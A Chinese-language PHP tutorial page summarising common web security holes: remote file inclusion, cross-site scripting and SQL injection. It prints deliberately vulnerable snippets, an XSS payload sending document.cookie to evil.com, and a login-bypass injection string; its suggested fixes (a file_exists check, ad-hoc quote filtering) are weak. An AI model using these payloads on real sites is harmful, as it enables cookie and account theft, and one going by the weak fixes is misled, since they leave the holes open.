程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> php中一些安全隱藏代碼總結

php中一些安全隱藏代碼總結

編輯:關於PHP編程

程序代碼的安全是一個程序員對開發的應用方面的多方面的素質體現,下面我來總結一下自己的經驗,有需要了解朋友可參考一下。

 

百度一下。設定open_basedir後只有指定的目錄和子目錄下的php腳本才會被執行。
用php讀取open_basedir以外的目錄或文件會報錯
權限不足
一般虛擬主機供應商都是設定為/tmp和/home

這是用戶習慣了,我們要想辦法解決這些問題了,下面總結了一些php安全問題。

1.include的時候要小心,要判斷你本地是否有這個文件,以免造成安全漏洞。
比如:

 代碼如下 復制代碼 <?php
    include $module.'.php';
?>


這裡假設$module是function/42833.htm target=_blank >全局變量。
這個腳本讓攻擊者有機會在你的服務器上執行任何的php代碼,比如他在浏覽器url後面加上?module=http://example.com/my就行了。當php接收到這個url的時候,腳本中的"$module"變量的值將被設置為http://example.com/my。因此當php執行include的時候就很危險了......
解決辦法:關閉php.ini中的register_globals或include的時候判斷一下。

 代碼如下 復制代碼 <?php
    if(file_exists($module.'.php')){
        include $module.'.php';
    }
?>


2.跨站運行腳本。
簡單的說是攻擊者可以在用戶的浏覽器端執行一些客戶端的腳本,例如js,然後盜取用戶的cookies或其他重要數據。
比如<script language='javaScript'>document.location=?'http://evil.com/cgi-bin/cookie.cgi?f='+document.cookie</script>
如果你點擊了按鈕,你本地的cookie信息將會被發送的某個人的郵箱(由此可見你想做個盜取用戶信息的網站是多麼容易)。
3.SQL注入
個人覺得是sql自身的靈活,易用給自己帶來的負面影響。

 代碼如下 復制代碼 <?php
    $query "select login_id from users where user='$user' and pwd='$pw'";
    mysql_query($query);
?>

比如用人寫了
http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代碼可能變成。

 代碼如下 復制代碼 <?php
    $query = "select login_id from user where user='admin' or (user = '' and pwd='') or user=''";
    mysql_query($query);
?>


可以用函數進行過濾,過濾掉(') ("),()等等

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved